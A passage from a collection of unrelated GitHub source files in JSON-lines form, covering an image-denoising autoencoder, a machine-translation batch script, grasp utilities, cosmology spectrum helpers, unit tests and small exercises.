K.image_dim_ordering()=='th':\n Noisy_Train_Data=np.rollaxis(Noisy_Train_Data,3,1)\n #print (Noisy_Train_Data.shape)\n \n\nX_train_Noisy, X_test_Noisy, y_train_Noisy, y_test_Noisy = train_test_split(Noisy_Train_Data, Noisy_Lables, test_size=0.2, random_state=2)\n\nprint(\"Shape of X_train_Noisy after reshaping and splitting: \",X_train_Noisy.shape)\nprint(\"Shape of X_test_Noisy after reshaping and splitting: \",X_test_Noisy.shape)\n\n# Defining the model\ninput_shape=Train_Data[0].shape\nprint(\"Input shape of the encoder model: \", input_shape)\n\n\n# In[12]:\n\n#Visualising some of the noisy training Images\nprint(\"Total number of images: \",len(Noisy_Train_imgs))\nprint(\"Matrix representation of 67th image: \",Noisy_Train_imgs[67])\n\n#Displaying 149th to 155th image from the training noisy data\nfor i in range (149,155):\n plt.figure()\n plt.imshow(Noisy_Train_imgs[i], cmap=plt.cm.binary)\n lable = Noisy_Lables[i]\n plt.xlabel(lable)\n \n plt.show() \n\n\n# In[17]:\n\n#Creating the noisy data that is to be cleaned \nNoisy_Test_Data, Noisy_Test_Lables, Noisy_Test_imgs = create_noisy_test_data()\nprint (\"Shape of X_val_Noisy before reshaping\",Noisy_Test_Data.shape)\n\n#Reshaping the Data to fit into the Autoencoder model.\nif num_channel==1:\n if K.image_dim_ordering()=='th':\n Noisy_Test_Data= np.expand_dims(Noisy_Test_Data, axis=1)\n #print (Noisy_Test_Data.shape)\n else:\n Noisy_Test_Data= np.expand_dims(Noisy_Test_Data, axis=4) \n #print (Noisy_Test_Data.shape) \nelse:\n if K.image_dim_ordering()=='th':\n Noisy_Test_Data=np.rollaxis(Noisy_Test_Data,3,1)\n #print (Noisy_Test_Data.shape)\n \nTrain_Data, Lables\nX_val_Noisy, y_val_Noisy = (Noisy_Test_Data, Noisy_Test_Lables) \n\nprint(\"Shape of X_val_Noisy after reshaping\",X_val_Noisy.shape)\nprint(\"Number os lables: \", len(y_val_Noisy))\n\n\n\n# In[25]:\n\n#Visualising some of the noisy input Images to be cleaned\nprint(len(Noisy_Test_imgs))\nprint(Noisy_Test_imgs[67])\n\nfor i in range (72,76):\n plt.figure()\n plt.imshow(Noisy_Test_imgs[i], cmap=plt.cm.binary)\n lable = Noisy_Test_Lables[i]\n plt.xlabel(lable)\n \n plt.show() \n\n\n# In[27]:\n\n#The Model Definaion\n\ninput_img = Input(input_shape) # adapt this if using `channels_first` image data format\nx = Conv2D(10, (5, 5), activation='tanh', padding='same')(input_img)\nx = MaxPooling2D((2, 2), padding='same')(x)\nx = Conv2D(20, (2, 2), activation='tanh', padding='same')(x)\nx = MaxPooling2D((2, 2), padding='same')(x)\nencoded = x\n\nx = UpSampling2D((2, 2))(x)\nx = Conv2DTranspose(20, (2, 2), activation='tanh', padding='same')(encoded)\nx = UpSampling2D((2, 2))(x)\nx = Conv2DTranspose(10, (5, 5), activation='tanh', padding='same')(x)\nx = Conv2D(10, (5, 5), activation='tanh', padding='same')(x)\nx = UpSampling2D((2, 2))(x)\ndecoded = Conv2DTranspose(3, (3, 3), activation='sigmoid', padding='same')(x)\n\nautoencoder = Model(input_img, decoded)\nautoencoder.summary()\nautoencoder.compile(optimizer='adadelta', loss='binary_crossentropy', metrics=[\"accuracy\"])\n\n\n# In[88]:\n\n#####################Training the model with noisy test image###########################\nprint(\"Training\")\nfilename='DenoiseImg_Sigmoid_model_train.csv'\ncsv_log=callbacks.CSVLogger(filename, separator=',', append=False)\n\nearly_stopping=callbacks.EarlyStopping(monitor='val_loss', min_delta=0, patience=100, verbose=0, mode='min')\n\nfilepath=\"DenoiseImg-Sigmoid-Best-weights-my_model-{epoch:03d}-{loss:.4f}-{acc:.4f}.hdf5\"\n\ncheckpoint = callbacks.ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True, mode='min')\n\ncallbacks_list = [csv_log,early_stopping,checkpoint]\n\n\n# In[89]:\n\n#Training the Model\nhist = autoencoder.fit(X_train_Noisy, X_train,\n epochs=num_epoch,\n verbose=1,\n batch_size=25,\n shuffle=True,\n validation_data=(X_test_Noisy, X_test),\n callbacks=callbacks_list)\n\n\n# In[90]:\n\n#Sample Prediction with the input noisy image to be cleaned\ntestSample = X_val_Noisy[60]\nprint(testSample.shape)\ntest_predict = autoencoder.predict(np.array([testSample]))[0]\n\n\n# In[91]:\n\n# visualizing losses and accuracy\ntrain_loss=hist.history['loss']\nval_loss=hist.history['val_loss']\ntrain_acc=hist.history['acc']\nval_acc=hist.history['val_acc']\n\nxc=range(num_epoch)\n\nplt.figure(1,figsize=(7,5))\nplt.plot(xc,train_loss)\nplt.plot(xc,val_loss)\n\nplt.xlabel('num of Epochs')\nplt.ylabel('loss')\nplt.title('train_loss vs val_loss')\nplt.grid(True)\nplt.legend(['train_loss','val_loss'], loc=10, bbox_to_anchor=(0.5, 0., 0.5, 0.5))\n#print plt.style.available # use bmh, classic,ggplot for big pictures\nplt.style.use(['classic'])\n\n\nplt.figure(2,figsize=(7,5))\nplt.plot(xc,train_acc)\nplt.plot(xc,val_acc)\nplt.xlabel('num of Epochs')\nplt.ylabel('accuracy')\nplt.title('train_acc vs val_acc')\nplt.grid(True)\nplt.legend(['train_acc','val_acc'],loc=10)\n#print plt.style.available # use bmh, classic,ggplot for big pictures\nplt.style.use(['classic'])\n\nplt.show()\n\n\n# In[92]:\n\n#Converting the noisy input and clean output into their old form to be displayed\nprint(testSample.shape)\ntestSample = np.array((testSample * 255 )[0], dtype=np.uint8)\nimg = Image.fromarray(testSample)\n\ntest_predict = np.array((test_predict * 255 )[0], dtype=np.uint8)\nNoise_img = Image.fromarray(test_predict)\n\n\n\n# In[93]:\n\n#Comparing the noisy input with the clean Output\nplt.figure()\nplt.imshow(img, cmap=plt.cm.binary) \nplt.show() \n\n\nplt.figure()\nplt.imshow(Noise_img, cmap=plt.cm.binary) \nplt.show()\n\n\n# In[84]:\n\n#cleaning all the noisy images using the trained model and storing them in a list along with their respective labels\nCleanPictures = []\nCleanPictureArray = []\nLables_list = []\n\nfor i in range(len(X_val_Noisy)):\n Val_Sample = X_val_Noisy[i]\n Val_predict = autoencoder.predict(np.array([Val_Sample]))[0]\n \n Val_predict = np.array((Val_predict * 255 )[0], dtype=np.uint8)\n Clean_img = Image.fromarray(Val_predict)\n CleanPictures.append(Clean_img)\n CleanPictureArray.append(Val_predict)\n\nfor lbl in y_val_Noisy:\n Lables_list.append(lbl)\n \n\n\n# In[28]:\n\n#print(\"Number of images cleaned: \"len(CleanPictures))\n#print(len(CleanPictureArray))\n#print(len(Lables_list))\n\n\n# In[86]:\n\n#Writting the output to a file\npath = \"C:/Users/Sumit Kundu/Image Classification using CNN/dataset/Cleaned_MIX/\"\nfor i in range (len(CleanPictures)):\n plt.figure()\n plt.imshow(CleanPictures[i], cmap=plt.cm.binary)\n plt.show()\n cv2.imwrite(str(path)+ str(Lables_list[i]),CleanPictureArray[i])\n\n\n# In[ ]:\n\n\n\n","repo_name":"anustupdas/MotorAI_Task_DNN_Project","sub_path":"Image_Classification/Code/Denoise_Img_AutoEncoderCNN_poka.py","file_name":"Denoise_Img_AutoEncoderCNN_poka.py","file_ext":"py","file_size_in_byte":13015,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"70845121765","text":"\"\"\" Usage:\n --trans=TRANSLATION_SERVICE --in=IN_FILE --src=SOURCE_LANGUAGE --tgt=TARGET_LANGUAGE --out=OUT_FILE [--debug]\n\"\"\"\n# External imports\nimport logging\nimport pdb\nfrom pprint import pprint\nfrom pprint import pformat\nfrom docopt import docopt\nfrom collections import defaultdict\nfrom operator import itemgetter\nfrom tqdm import tqdm\nfrom google.cloud import translate\nimport html\n\n# Local imports\nfrom bing_translate import bing_translate\nfrom google_translate import google_translate\nfrom amazon_translate import aws_translate\n#=-----\n\nBATCH_SIZE = 50 # Up to 128 should be fine?\n\ndef chunks(l, n):\n \"\"\"\n Yield successive n-sized chunks from l.\n \"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\ndef batch_translate(trans_function, lines, tgt_lang, src_lang = None):\n \"\"\"\n Translate a list of sentences.\n Take care of batching.\n \"\"\"\n translations_dicts = []\n for chunk in tqdm(list(chunks(lines, BATCH_SIZE)), desc=f\"size {BATCH_SIZE} chunks\"):\n for out_dict in trans_function(chunk, tgt_lang, src_lang):\n translations_dicts.append(out_dict)\n return translations_dicts\n\nTRANSLATION_SERVICE = {\n \"google\": google_translate,\n \"bing\": bing_translate,\n \"aws\": aws_translate\n}\n\nif __name__ == \"__main__\":\n # Parse command line arguments\n args = docopt(__doc__)\n trans_service = args[\"--trans\"]\n inp_fn = args[\"--in\"]\n src_lang = args[\"--src\"]\n tgt_lang = args[\"--tgt\"]\n out_fn = args[\"--out\"]\n debug = args[\"--debug\"]\n if debug:\n logging.basicConfig(level = logging.DEBUG)\n else:\n logging.basicConfig(level = logging.INFO)\n\n # Figure out the translation service to use\n assert trans_service in TRANSLATION_SERVICE, f\"{trans_service} is not supported\"\n trans_function = TRANSLATION_SERVICE[trans_service]\n\n lines = [line.strip() for line in open(inp_fn, encoding = \"utf8\")]\n out_dicts = batch_translate(trans_function, lines, tgt_lang, src_lang)\n with open(out_fn, \"w\", encoding = \"utf8\") as fout:\n for out_dict in out_dicts:\n fout.write(\"{} ||| {}\\n\".format(out_dict[\"input\"],\n out_dict[\"translatedText\"]))\n\n logging.info(\"DONE\")\n","repo_name":"gabrielStanovsky/mt_gender","sub_path":"src/translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"52"} +{"seq_id":"70808155364","text":"import numpy as np\nfrom geometry_msgs.msg import Pose\n\nfrom kinematics import CHAIN_NAME\n\n\ndef pose_from_msg(msg):\n pos = msg.position\n orn = msg.orientation\n return [pos.x, pos.y, pos.z, orn.x, orn.y, orn.z, orn.w]\n\n\ndef msg_from_pose(pose):\n msg = Pose()\n pos = msg.position\n orn = msg.orientation\n pos.x, pos.y, pos.z, orn.x, orn.y, orn.z, orn.w = pose\n return msg\n\n\ndef vector_from_msg(msg):\n vector = msg.vector\n return [vector.x, vector.y, vector.z]\n\n\ndef contact_from_msg(msg):\n pose = pose_from_msg(msg.ps.pose)\n if msg.body1 == 'Base':\n link = 'palm'\n else:\n parts = msg.body1.split('_')\n chain = CHAIN_NAME[parts[1]]\n link = chain + '_' + parts[2]\n return dict(link=link, pose=pose)\n\n\ndef grasp_from_msg(grasp, kinematics=None):\n return dict(pose=pose_from_msg(grasp.pose),\n dofs=grasp.dofs,\n contacts=[],\n epsilon=grasp.epsilon_quality,\n volume=grasp.volume_quality,\n link_in_contact=[],\n quality=-1)\n\n\ndef grasp_from_robot_state(robot, quality, body_name, kinematics=None):\n contacts = [contact_from_msg(c) for c in robot.contacts if c.body2 == body_name]\n links = list(set([c['link'] for c in contacts]))\n palm_contact = 'palm' in links \n average_quality = np.linalg.norm([quality.epsilon, quality.volume]) \\\n * (3.0 if palm_contact else 1.0) \\\n * (len(links) ** 0.5)\n pose = pose_from_msg(robot.pose)\n dofs = robot.dofs\n grasp = dict(\n body=body_name,\n pose=pose,\n dofs=dofs,\n contacts=contacts,\n epsilon=quality.epsilon,\n volume=quality.volume,\n link_in_contact=links,\n quality=average_quality,\n )\n\n if kinematics is not None:\n trans, pose = kinematics.getManoPose(pose[:3], pose[3:], dofs)\n grasp.update(dict(mano_trans=trans, mano_pose=pose))\n\n return grasp\n\n\ndef squeezed(grasps):\n intermadiates = [1, 4, 7, 10, 14]\n distals = [2, 5, 8, 11, 15]\n offsets = np.array([10.5, 6.5, 8, 2.2, 0])\n dependent = [\n set(['index_link1', 'index_link2']),\n set(['mid_link1', 'mid_link2']),\n set(['ring_link1', 'ring_link2']),\n set(['pinky_link1', 'pinky_link2']),\n set(['thumb_link2'])\n ]\n for i, grasp in enumerate(grasps):\n pose = grasp['pose']\n dofs = np.degrees(grasp['dofs'])\n link_in_contact = set(grasp['link_in_contact'])\n\n squeezed = dofs[distals] + offsets > 94\n no_touch = [not (l & link_in_contact) for l in dependent]\n indicies = np.logical_and(squeezed, no_touch)\n\n joints = [intermadiates[i] for i, cond in enumerate(indicies) if cond] + \\\n [distals[i] for i, cond in enumerate(indicies) if cond]\n\n if joints:\n yield i, joints\n","repo_name":"IRVLUTD/neuralgrasps-dataset-generation","sub_path":"grasp-generation/grasp_utils.py","file_name":"grasp_utils.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"39136851554","text":"steps = [\n [\n # \"Up\" SQL statement\n \"\"\"\n CREATE TABLE comments (\n id SERIAL PRIMARY KEY NOT NULL,\n comment TEXT NOT NULL,\n user_id INT NOT NULL REFERENCES users(id),\n recipe_id INT NOT NULL REFERENCES recipes(id)\n );\n \"\"\",\n # \"Down\" SQL statement\n \"\"\"\n DROP TABLE comments;\n \"\"\",\n ],\n]\n","repo_name":"ngranard/Dish-Dynamo","sub_path":"dishdynamo/migrations/006_comments_table_migration.py","file_name":"006_comments_table_migration.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73896167845","text":"# This is a sample Python script.\n\n# Press ⌃R to execute it or replace it with your code.\n# Press Double ⇧ to search everywhere for classes, files, tool windows, actions, and settings.\n\nfrom sys import argv\n\ndef return_csv():\n if len(argv) == 2:\n find_path = argv[1]\n with open('employees.tsv', 'w') as fs:\n fs.write(\"Name\" + '\\t' + \"Surname\" + '\\t' + \"E-mail\" + '\\n')\n with open(find_path, 'r') as f:\n for line in f:\n e_mail = line[:-1]\n name = line[ : line.find(\".\")].capitalize()\n line = line[len(name): ]\n surname = line[1 : line.find(\"@\")].capitalize()\n fs.write(name + '\\t' + surname + '\\t' + e_mail + '\\n')\n f.close()\n fs.close()\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n return_csv()\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"AlexArhipov/DS_42_Course","sub_path":"day01/ex08/names_extractor.py","file_name":"names_extractor.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21390501912","text":"from pathlib import Path\nfrom unittest.mock import MagicMock, Mock, patch\n\nimport openpyxl\n\nfrom models.files_models.excel_file import ExcelFile\nfrom tests.models.utils.excel_file import TestExcelFileUtils\n\n\nclass TestExcelFile(TestExcelFileUtils):\n def setUp(self) -> None:\n super().setUp()\n self.file_directory = Path(Path.cwd(), \"tests\", \"models\", \"db\", \"testing.xlsx\")\n self.db = ExcelFile(file_path=self.file_directory)\n\n def test_initial_data(self):\n excel_initial_variables = self.db.__dict__.keys()\n\n self.assertIn(\"file_path\", excel_initial_variables)\n self.assertIn(\"headers\", excel_initial_variables)\n self.assertIsInstance(self.db.file_path, Path)\n self.assertEqual(self.db.file_path, self.file_directory)\n\n def test_get_all_users(self):\n self.write_data_to_excel()\n users = self.db.get_all_users()\n self.delete_data_from_excel()\n\n self.assertCountEqual(users, [self.user_1])\n\n def test_get_users_sheet(self):\n excel_file = openpyxl.load_workbook(self.file_directory)\n sheet = self.db.get_users_sheet(excel_file)\n\n self.assertIsInstance(sheet, openpyxl.worksheet.worksheet.Worksheet)\n\n def test_read_file(self):\n excel_file = self.db.read_file()\n\n self.assertIsInstance(excel_file, openpyxl.Workbook)\n\n def test_validate_columns_order(self):\n users_sheet = openpyxl.load_workbook(self.file_directory)[\"Users\"]\n self.assertTrue(self.db.validate_columns_order(users_sheet))\n\n def _test_validate_columns_order_missing_header(self):\n pass\n\n def _test_validate_columns_order_wrong_order(self):\n pass\n\n def test_get_user(self):\n self.write_data_to_excel()\n user = self.db.get_user(self.user_1[\"email\"])\n self.delete_data_from_excel()\n\n self.assertEqual(user, self.user_1)\n self.assertIsInstance(user, dict)\n\n def test_get_user_dont_exist(self):\n user = self.db.get_user(\"testing@bogusemail.com\")\n\n self.assertFalse(user)\n\n def test_save_user(self):\n user_saved = self.db.save_user(self.user_1)\n self.assertTrue(user_saved)\n\n sheet = openpyxl.load_workbook(self.file_directory)[\"Users\"]\n\n confirmed_user = None\n for row in range(2, sheet.max_row + 1):\n confirmed_user = sheet.cell(row=row, column=1).value\n if confirmed_user == self.user_1[\"email\"]:\n break\n\n self.assertEqual(confirmed_user, self.user_1[\"email\"])\n\n self.delete_data_from_excel()\n\n def test_update_user_games_played(self):\n self.write_data_to_excel()\n user = {\"email\": self.user_1[\"email\"]}\n\n user_updated = self.db.update_user_games_played(user)\n self.assertTrue(user_updated)\n\n check_user = self.db.get_user(self.user_1[\"email\"])\n self.assertEqual(check_user[\"games_played\"], self.user_1[\"games_played\"] + 1)\n\n self.delete_data_from_excel()\n\n def test_update_user_score(self):\n self.write_data_to_excel()\n user = {\"email\": self.user_1[\"email\"]}\n\n user_updated = self.db.update_user_score(user)\n self.assertTrue(user_updated)\n\n check_user = self.db.get_user(self.user_1[\"email\"])\n self.assertEqual(check_user[\"score\"], self.user_1[\"score\"] + 1)\n\n self.delete_data_from_excel()\n\n def test_validate_column_games_played(self):\n sheet = MagicMock()\n cell = MagicMock(value=\"games played\")\n sheet.cell.return_value = cell\n\n self.db.validate_column_games_played(sheet)\n\n def test_validate_column_games_played_wrong_column(self):\n sheet = MagicMock()\n cell = MagicMock(value=\"score\")\n sheet.cell.return_value = cell\n\n with self.assertRaises(Exception) as e:\n self.db.validate_column_games_played(sheet)\n\n def test_validate_column_games_played_empty_column(self):\n sheet = MagicMock()\n cell = MagicMock(value=\"\")\n sheet.cell.return_value = cell\n\n with self.assertRaises(Exception) as e:\n self.db.validate_column_games_played(sheet)\n\n def test_validate_column_score(self):\n sheet = MagicMock()\n cell = MagicMock(value=\"score\")\n sheet.cell.return_value = cell\n\n self.db.validate_column_score(sheet)\n\n def test_validate_column_score_wrong_column(self):\n sheet = MagicMock()\n cell = MagicMock(value=\"games played\")\n sheet.cell.return_value = cell\n\n with self.assertRaises(Exception) as e:\n self.db.validate_column_score(sheet)\n\n def test_validate_column_score_empty_column(self):\n sheet = MagicMock()\n cell = MagicMock(value=\"\")\n sheet.cell.return_value = cell\n\n with self.assertRaises(Exception) as e:\n self.db.validate_column_score(sheet)\n","repo_name":"amssdias/shell-games","sub_path":"tests/models/test_excel.py","file_name":"test_excel.py","file_ext":"py","file_size_in_byte":4850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39689184046","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport time\nfrom RHS import RHS\nfrom ATVS_reader import *\nimport random\nimport os\n\nbatch_size = 48\nclass_num = 350\nrate = 0.0001\nloop = 1000000\n\nlog_dir = './log'\nmodel_dir = './model'\n\n\ndef get_feed(genuine_data):\n s_feed = []\n label_feed = []\n bucket_index = random.randint(0, len(genuine_data) - 1)\n bucket = genuine_data[bucket_index]\n for i in range(batch_size):\n index = random.randint(0, len(bucket) - 1)\n data = bucket[index]\n s_feed.append(data['signature'])\n label_feed.append(data['label'])\n\n return bucket_index, s_feed, label_feed\n\n\ndef train():\n genuine_data = bucket_group()\n sess = tf.Session()\n with sess.as_default():\n global_step = tf.Variable(0, name='global_step')\n update_global_step = tf.assign(global_step, global_step + 1)\n\n rhs = RHS()\n x = tf.placeholder(tf.float32, shape=(batch_size, None, 5))\n labels = tf.placeholder(tf.int32)\n loss = rhs.train(x, labels)\n train_op = tf.train.AdamOptimizer(learning_rate=rate).minimize(loss)\n\n summary = tf.summary.merge_all()\n run_metadata = tf.RunMetadata()\n summary_writer = tf.summary.FileWriter(log_dir, sess.graph)\n sess.run(tf.global_variables_initializer())\n\n saver = tf.train.Saver()\n checkpoint = tf.train.get_checkpoint_state(model_dir)\n if checkpoint:\n saver.restore(sess, checkpoint.model_checkpoint_path)\n\n step = global_step.eval()\n while step < loop:\n start_time = time.time()\n print('step: {}'.format(step))\n bucket_index, s_feed, labels_feed = get_feed(genuine_data)\n summary_str, step_loss, _ = sess.run([summary, loss, train_op], feed_dict={x: s_feed, labels: labels_feed})\n summary_writer.add_summary(summary_str, step)\n print('bucket: {} loss: {}'.format(bucket_index, step_loss))\n\n if step % 1000 == 999 and step != 0:\n checkpoint_file = os.path.join(model_dir, 'model')\n saver.save(sess, checkpoint_file, global_step)\n summary_writer.add_run_metadata(run_metadata, 'step%03d' % step)\n print(\"step cost: {0}\".format(time.time() - start_time))\n sess.run(update_global_step)\n step = step + 1\n\n summary_writer.close()\n\n\ndef normalize(data, max_length=None):\n if (max_length and (len(data) > max_length)):\n data = data[0: max_length]\n data[-1][2:5] = [0, 0, 1]\n data = np.array(data, np.float32)\n data[:, 0], std_x = norm(data[:, 0])\n data[:, 1], _ = norm(data[:, 1], std_x)\n prev_x = 0\n prev_y = 0\n normalized_data = []\n for point in data:\n normalized_data.append([point[0] - prev_x, point[1] - prev_y, point[2], point[3], point[4]])\n prev_x = point[0]\n prev_y = point[1]\n return np.array(normalized_data, np.float32)\n\n\ndef infer(reference, target, max_length=None):\n reference = normalize(reference, max_length)\n target = normalize(target)\n sess = tf.Session()\n with sess.as_default():\n rhs = RHS()\n x_1 = tf.placeholder(tf.float32, shape=(1, None, 5))\n x_2 = tf.placeholder(tf.float32, shape=(1, None, 5))\n distance = tf.reduce_mean(tf.square(rhs.run(x_1) - rhs.run(x_2, reuse=True)))\n sess.run(tf.global_variables_initializer())\n checkpoint = tf.train.get_checkpoint_state(model_dir)\n saver = tf.train.Saver()\n saver.restore(sess, checkpoint.model_checkpoint_path)\n\n dis = sess.run(distance, feed_dict={x_1: [reference], x_2: [target]})\n print(dis)\n\nif __name__ == '__main__':\n train()\n","repo_name":"ruiann/SignatureVerification","sub_path":"ATVS_encoder.py","file_name":"ATVS_encoder.py","file_ext":"py","file_size_in_byte":3795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28015584639","text":"import os\nimport sys\nimport datetime\n\nimport numpy as np\nimport healpy as hp\nimport camb\n\n\nk = 1.38064852e-23 # m^2 kg s^-2 K^-1\nc = 2.99792458e+08 # m/s\n\nargs_cosmology = ['H0', 'cosmomc_theta', 'ombh2', 'omch2', 'omk', \n 'neutrino_hierarchy', 'num_massive_neutrinos',\n 'mnu', 'nnu', 'YHe', 'meffsterile', 'standard_neutrino_neff', \n 'TCMB', 'tau', 'deltazrei', 'bbnpredictor', 'theta_H0_range'] \n\nargs_InitPower = ['As', 'ns', 'nrun', 'nrunrun', 'r', 'nt', 'ntrun', 'pivot_scalar', \n 'pivot_tensor', 'parameterization']\n\ndef dl2cl(dls):\n \"\"\" Convert the angular spectrum D_l to C_l.\n C_l = D_l * 2 * np.pi / l / (l+1)\n \n Parameters\n ----------\n dls : array\n Angular spectrum, D_l, to be converted. \n\n Returns\n -------\n cls : array\n Converted array.\n \"\"\"\n if (arr_rank(dls)==1):\n cls = dls.copy()\n ell = np.arange(len(cls))\n cls[1:] = cls[1:] * (2. * np.pi) / (ell[1:] * (ell[1:] + 1))\n elif (arr_rank(dls)==2):\n if (len(dls) < 10):\n cls = dls.copy()\n ell = np.arange(len(cls[0]))\n for i in range(len(cls)):\n cls[i][1:] = cls[i][1:] * (2. * np.pi) \\\n / (ell[1:] * (ell[1:]+1))\n else:\n cls = np.transpose(dls.copy())\n ell = np.arange(len(cls[0]))\n for i in range(len(cls)):\n cls[i][1:] = cls[i][1:] * (2. * np.pi) \\\n / (ell[1:] * (ell[1:]+1))\n cls = np.transpose(cls) \n return cls\n\n\ndef cl2dl(cls):\n \"\"\" Convert the angular spectrum C_l to D_l.\n D_l = C_l * l * (l+1) / 2 / pi\n \n Parameters\n ----------\n cls : array\n Angular spectrum, C_l, to be converted. \n\n Returns\n -------\n dls : array\n Converted array.\n \"\"\"\n if (arr_rank(cls)==1):\n dls = cls.copy()\n ell = np.arange(len(dls))\n dls[1:] = dls[1:] / (2. * np.pi) * (ell[1:] * (ell[1:] + 1))\n elif (arr_rank(cls)==2):\n if (len(cls) < 10):\n dls = cls.copy()\n ell = np.arange(len(dls[0]))\n for i in range(len(dls)):\n dls[i][1:] = dls[i][1:] / (2. * np.pi) \\\n * (ell[1:] * (ell[1:]+1))\n else:\n dls = np.transpose(cls.copy())\n ell = np.arange(len(dls[0]))\n for i in range(len(dls)):\n dls[i][1:] = dls[i][1:] / (2. * np.pi) \\\n * (ell[1:] * (ell[1:]+1))\n dls = np.transpose(dls) \n else:\n print('cls has shape of', cls.shape)\n return \n\n return dls\n\n\ndef arg2dict(**kwargs):\n ## arguments to dictionaries\n kwargs_cosmology={}\n kwargs_InitPower={}\n\n for key, value in kwargs.items(): # for Python 3, items() instead of iteritems()\n if key in args_cosmology: \n kwargs_cosmology[key]=value\n elif key in args_InitPower:\n kwargs_InitPower[key]=value\n else:\n print('Wrong keyword: ' + key)\n\n return kwargs_cosmology, kwargs_InitPower\n\n\ndef get_spectrum_camb(lmax, \n isDl=False, cambres=False, TTonly=False, unlensed=False, CMB_unit='muK', \n inifile=None,\n **kwargs):\n \"\"\"\n \"\"\"\n \n kwargs_cosmology, kwargs_InitPower = arg2dict(**kwargs)\n\n\n ## call camb\n if inifile is None:\n pars = camb.CAMBparams()\n else:\n pars = camb.read_ini(inifile)\n\n kwargs_cosmology['H0'] = pars.H0\n pars.set_cosmology(**kwargs_cosmology)\n pars.InitPower.set_params(**kwargs_InitPower)\n pars.WantTensors = True\n\n results = camb.get_results(pars)\n\n raw_cl = np.logical_not(isDl)\n\n if unlensed:\n cls = results.get_unlensed_total_cls(lmax=lmax, CMB_unit=CMB_unit, raw_cl=raw_cl).T\n else:\n cls = results.get_total_cls(lmax=lmax, CMB_unit=CMB_unit, raw_cl=raw_cl).T\n\n if TTonly:\n cls = cls[0]\n\n if cambres:\n return cls, results\n else:\n return cls \n \n\ndef get_spectrum_noise(lmax, wp, fwhm=None, isDl=False, TTonly=False, CMB_unit='muK'):\n cls = np.array([(np.pi/10800 * wp * 1e-6) ** 2]*(lmax+1)) # wp is w_p^(-0.5) in uK arcmin\n cls[0] = cls[1] = 0\n\n if (CMB_unit == 'muK'):\n cls *= 1e12\n\n if fwhm:\n ell = np.arange(lmax+1)\n cls *= np.exp(ell**2 * fwhm * (np.pi/180)**2 / 8 / np.log(2))\n\n if (not TTonly):\n cls = np.array([cls, cls*2, cls*2, cls*0]) #+ [np.zeros(cls.shape)])\n\n if (isDl):\n res = cl2dl(cls)\n else:\n res = cls\n\n return res\n\n\ndef variance_cl(cls):\n \"\"\" Variance of angular spectrum C_l\n\n Parameters\n ----------\n cls : array\n Angular power spectrum.\n\n Returns\n -------\n var : float\n variance of the angular power spectrum.\n \"\"\"\n if (arr_rank(cls)==1):\n ell = np.arange(len(cls))\n var = np.sum((2*ell+1)*cls/4./np.pi) \n else:\n var = []\n ell = np.arange(len(cls[0]))\n for i in range(len(cls)):\n var.append(np.sum((2*ell+1)*cls[i]/4./np.pi))\n\n return var\n\n\ndef today():\n \"\"\" Returns the date of today in string.\"\"\"\n return datetime.datetime.now().strftime('%Y-%m-%d')\n\n\ndef binmask(m, cut=0.8):\n m1 = m.copy()\n m1[m1>=cut] = 1\n m1[m1 1 or string1[size1-1] == string2[size2-1]:\n print('NO')\n else:\n print('YES')\n\n\nfor i in range(0, num_cases):\n size1, size2 = map(int, (input().split(' ')))\n beautyVerifier(size1, size2)\n","repo_name":"Vinicius203/Codeforces_Contests","sub_path":"EDU_143_Div2/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2714590665","text":"''' Test first neural network '''\n\nimport unittest\nimport numpy as np\nfrom fnn import NeuralNetwork\nfrom snn import SampleNeuralNetwork\n\nclass TestNeuralNetworks(unittest.TestCase):\n '''\n Test neural networks\n '''\n def test_train_snn(self):\n ''' Test training '''\n learning_rate = 0.5\n\n snn = SampleNeuralNetwork(learning_rate)\n\n input_list = [0.1, 0.3]\n target = 1.0\n\n snn.weights_input_to_hidden = np.array([0.4, -0.2])\n snn.weights_hidden_to_output = np.array([0.1])\n\n snn.train(input_list, target)\n\n print(\"Hidden outputs \", snn.hidden_outputs)\n print(\"Final inputs \", snn.final_inputs)\n print(\"Final_outputs \", snn.final_outputs)\n print(\"Output error \", snn.output_errors)\n print(\"Hidden error \", snn.hidden_errors)\n print(\"Output gradient\", snn.output_grad)\n print(\"Hidden gradient\", snn.hidden_grad)\n\n self.assertAlmostEqual(-0.02, snn.hidden_inputs[0], 5)\n self.assertAlmostEqual(0.495, snn.hidden_outputs[0], 5)\n self.assertAlmostEqual(0.0495, snn.final_inputs, 5)\n self.assertAlmostEqual(0.5123725, snn.final_outputs, 5)\n self.assertAlmostEqual(0.1218322, snn.output_errors, 5)\n self.assertAlmostEqual(0.00304394, snn.hidden_errors[0], 3)\n # self.assertEqual('foo'.upper(), 'FOO')\n \nif __name__ == '__main__':\n unittest.main()\n","repo_name":"bqpham/udacity","sub_path":"dlfnd/DLND-your-first-network/Bike-Sharing-Dataset/testnn.py","file_name":"testnn.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40496106041","text":"import mysql.connector\nfrom geopy.distance import geodesic\n\nconnection = mysql.connector.connect(\n host='127.0.0.1',\n port=3306,\n database='lentokentat',\n user='root',\n password='password',\n 